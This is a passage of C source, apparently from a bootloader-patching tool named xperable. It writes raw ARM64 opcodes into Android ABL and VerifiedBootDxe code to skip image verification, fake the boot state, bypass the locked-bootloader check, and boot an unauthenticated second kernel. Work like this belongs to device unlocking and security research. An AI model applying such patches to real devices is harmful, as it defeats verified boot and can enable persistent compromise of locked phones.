OPCODE(ablcode + 0x33A94 + 0x00, 0xa0, 0x05, 0x00, 0x90); // adrp x0, #0xb4000 = [ a0 05 00 90 ] byte at 0xe7d6d is override_flag created in align space
OPCODE(ablcode + 0x33A94 + 0x04, 0x00, 0xb4, 0x75, 0x39); // ldrb w0, [x0, #0xd6d] = [ 00 b4 75 39 ]
OPCODE(ablcode + 0x33A94 + 0x08, 0x60, 0x00, 0x00, 0x34); // cbz w0, #0x0c = [ 60 00 00 34 ]
OPCODE(ablcode + 0x33A94 + 0x0c, 0x00, 0x04, 0x00, 0x51); // sub w0, w0, #0x01 = [ 00 04 00 51 ]
OPCODE(ablcode + 0x33A94 + 0x10, 0x60, 0x42, 0x00, 0xb9); // str w0, [x19, #0x40] = [ 60 42 00 b9 ]
OPCODE(ablcode + 0x33A94 + 0x14, 0x06, 0x00, 0x00, 0x14); // b #0x18 = [ 06 00 00 14 ]
OPCODE(ablcode + 0x332E4 + 0x00, 0xfe, 0x03, 0x00, 0xaa); // mov x30, x0 = [ fe 03 00 aa ]
OPCODE(ablcode + 0x33320 + 0x00, 0xa8, 0x05, 0x00, 0x90); // adrp x8, #0xb4000 = [ a8 05 00 90 ] byte at 0xe7d6e is override_flag created in align space
OPCODE(ablcode + 0x33320 + 0x04, 0x09, 0xb9, 0x75, 0x39); // ldrb w9, [x8, #0xd6e] = [ 09 b9 75 39 ]
OPCODE(ablcode + 0x33320 + 0x08, 0x69, 0x00, 0x00, 0x34); // cbz w9, #0x0c = [ 69 00 00 34 ]
OPCODE(ablcode + 0x33320 + 0x0c, 0x20, 0x05, 0x00, 0x51); // sub w0, w9, #0x01 = [ 20 05 00 51 ]
OPCODE(ablcode + 0x33320 + 0x10, 0xc0, 0x7b, 0x00, 0xb9); // str w0, [x30, #0x78] = [ c0 7b 00 b9 ]
OPCODE(ablcode + 0x28914, 0x1f, 0x20, 0x03, 0xd5); // nop = [ 1f 20 03 d5 ]
OPCODE(ablcode + 0x24198, 0x1f, 0x20, 0x03, 0xd5); // nop = [ 1f 20 03 d5 ]
OPCODE(ablcode + 0x01660, 0x1f, 0x20, 0x03, 0xd5); // nop = [ 1f 20 03 d5 ]
OPCODE(ablcode + 0x288C0, 0xe0, 0x03, 0x1f, 0xaa); // mov x0, xzr = [ e0 03 1f aa ]
OPCODE(ablcode + 0x01080 + 0x00, 0x3b, 0x94, 0x00, 0x94); // bl #0x250ec = [ 3b 94 00 94 ]
OPCODE(ablcode + 0x01080 + 0x04, 0xe8, 0xff, 0xff, 0xf0); // adrp x8, #-0x1000 = [ e8 ff ff f0 ]
OPCODE(ablcode + 0x01080 + 0x08, 0x29, 0x07, 0x00, 0xd0); // adrp x9, #0xe6000 = [ 29 07 00 d0 ]
OPCODE(ablcode + 0x01080 + 0x0c, 0x28, 0x01, 0x08, 0xcb); // sub x8, x9, x8 = [ 28 01 08 cb ]
OPCODE(ablcode + 0x01080 + 0x10, 0x08, 0x00, 0x08, 0x8b); // add x8, x0, x8 = [ 08 00 08 8b ]
OPCODE(ablcode + 0x01080 + 0x14, 0xe1, 0x07, 0x00, 0x90); // adrp x1, #0xfc000 = [ e1 07 00 90 ]
OPCODE(ablcode + 0x01080 + 0x18, 0x00, 0x85, 0x40, 0xf8); // ldr x0, [x8], #0x08 = [ 00 85 40 f8 ]
OPCODE(ablcode + 0x01080 + 0x1c, 0x20, 0x85, 0x00, 0xf8); // str x0, [x9], #0x08 = [ 20 85 00 f8 ]
OPCODE(ablcode + 0x01080 + 0x20, 0x3f, 0x01, 0x01, 0xeb); // cmp x9, x1 = [ 3f 01 01 eb ]
OPCODE(ablcode + 0x01080 + 0x24, 0xa3, 0xff, 0xff, 0x54); // b.lo #-0x0c = [ a3 ff ff 54 ]
OPCODE(ablcode + 0x01080 + 0x28, 0xec, 0xff, 0xff, 0x17); // b #-0x50 = [ ec ff ff 17 ]
*(uint16_t *)(ablcode + 0xe7d6d) = override_flag;
}
}
static const int p114_vb_size = 0xc000;
static void p114_test6_patch(unsigned char *vbcode, int size, int offset)
{
OPCODE(vbcode + 0x25FC, 0x3d, 0x00, 0x00, 0x14); // b #0xf4 = [ 3d 00 00 14 ] skip image verification in VerifiedBootDxe module with GREEN
//OPCODE(vbcode + 0x25FC, 0x39, 0x00, 0x00, 0x14); // b #0xe4 = [ 39 00 00 14 ] skip image verification in VerifiedBootDxe module with RED
}
static void p114_test7_patch(unsigned char *ablcode, int size, int offset)
{
OPCODE(ablcode + 0x08FB8, 0x23, 0x00, 0x80, 0xd2); // mov x3, #0x01 = [ 23 00 80 d2 ] force "orange" in kernel command line
}
static void p114_test8_patch(unsigned char *ablcode, int size, int offset)
{
OPCODE(ablcode + 0x286D4 + 0x00, 0x94, 0x22, 0x00, 0x51); // sub w20, w20, #0x08 = [ 94 22 00 51 ]
OPCODE(ablcode + 0x286D4 + 0x04, 0x74, 0x6a, 0x74, 0xf8); // ldr x20, [x19, x20] = [ 74 6a 74 f8 ] get the size of the first kernel image from the end of buffer
OPCODE(ablcode + 0x286D4 + 0x08, 0x16, 0x00, 0x00, 0x14); // b #0x58 = [ 16 00 00 14 ] skip checking for unlocked bootloader and returning errors if locked
OPCODE(ablcode + 0x286D4 + 0x0c, 0x62, 0x02, 0x14, 0x8b); // add x2, x19, x20 = [ 62 02 14 8b ]
OPCODE(ablcode + 0x286D4 + 0x10, 0xe1, 0x03, 0x13, 0xaa); // mov x1, x19 = [ e1 03 13 aa ]
OPCODE(ablcode + 0x286D4 + 0x14, 0x54, 0x84, 0x40, 0xf8); // ldr x20, [x2], #0x08 = [ 54 84 40 f8 ] get the size of the second kernel image
OPCODE(ablcode + 0x286D4 + 0x18, 0xb4, 0x56, 0x00, 0xf9); // str x20, [x21, #0xa8] = [ b4 56 00 f9 ] update the kernel image size to boot
OPCODE(ablcode + 0x286D4 + 0x1c, 0x63, 0x02, 0x14, 0x8b); // add x3, x19, x20 = [ 63 02 14 8b ]
OPCODE(ablcode + 0x286D4 + 0x20, 0x40, 0x84, 0x40, 0xf8); // ldr x0, [x2], #0x08 = [ 40 84 40 f8 ]
OPCODE(ablcode + 0x286D4 + 0x24, 0x20, 0x84, 0x00, 0xf8); // str x0, [x1], #0x08 = [ 20 84 00 f8 ]
OPCODE(ablcode + 0x286D4 + 0x28, 0x3f, 0x00, 0x03, 0xeb); // cmp x1, x3 = [ 3f 00 03 eb ]
OPCODE(ablcode + 0x286D4 + 0x2c, 0xa3, 0xff, 0xff, 0x54); // b.lo #-0x0c = [ a3 ff ff 54 ]
OPCODE(ablcode + 0x286D4 + 0x30, 0x7f, 0x00, 0x00, 0xf9); // str xzr, [x3] = [ 7f 00 00 f9 ]
OPCODE(ablcode + 0x286D4 + 0x34, 0x0b, 0x00, 0x00, 0x14); // b #0x2c = [ 0b 00 00 14 ] jmp to check the second kernel moved to the place of 1st one
OPCODE(ablcode + 0x286D4 + 0x38, 0x61, 0x6a, 0x74, 0xf8); // ldr x1, [x19, x20] = [ 61 6a 74 f8 ] check if we have size for the second kernel image there
OPCODE(ablcode + 0x286D4 + 0x3c, 0xe0, 0x63, 0x00, 0x91); // add x0, sp, #0x18 = [ e0 63 00 91 ] orig instruction from 0x28810
OPCODE(ablcode + 0x286D4 + 0x40, 0x21, 0x09, 0x00, 0xb4); // cbz x1, #0x124 = [ 21 09 00 b4 ] on second kernel skip image auth and go to boot it
OPCODE(ablcode + 0x286D4 + 0x44, 0x3f, 0x00, 0x00, 0x14); // b #0xfc = [ 3f 00 00 14 ] continue with auth of the first kernel
OPCODE(ablcode + 0x28810 + 0x00, 0xbf, 0xff, 0xff, 0x17); // b #-0x104 = [ bf ff ff 17 ] hook before image auth to decide if to skip it
OPCODE(ablcode + 0x2881C + 0x00, 0x29, 0xf6, 0xff, 0xb4); // cbz x9, #-0x13c = [ 29 f6 ff b4 ] continue with patched code after the first image auth (0x286D4 + 0x0c)
}
static void p114_test9_patch(unsigned char *vbcode, int size, int offset)
{
OPCODE(vbcode + 0x0259C + 0x00, 0xc2, 0x00, 0x00, 0x10); // adr x2, #0x18 = [ c2 00 00 10 ]
OPCODE(vbcode + 0x0259C + 0x04, 0x42, 0x00, 0x40, 0xb9); // ldr w2, [x2] = [ 42 00 40 b9 ]
//OPCODE(vbcode + 0x0259C + 0x08, 0x51, 0x00, 0x00, 0xd0); // adrp x17, #0xa000
//OPCODE(vbcode + 0x0259C + 0x0c, 0x22, 0x82, 0x02, 0xb9); // str w2, [x17, #0x280]
OPCODE(vbcode + 0x0259C + 0x10, 0x62, 0x2e, 0x00, 0xb9); // str w2, [x19, #0x2c] = [ 62 2e 00 b9 ]
OPCODE(vbcode + 0x0259C + 0x14, 0x05, 0x00, 0x00, 0x14); // b #0x14 = [ 05 00 00 14 ]
*(uint32_t *)(vbcode + 0x0259C + 0x18) = offset;
}

1270
xperable.c Normal file

File diff suppressed because it is too large Load diff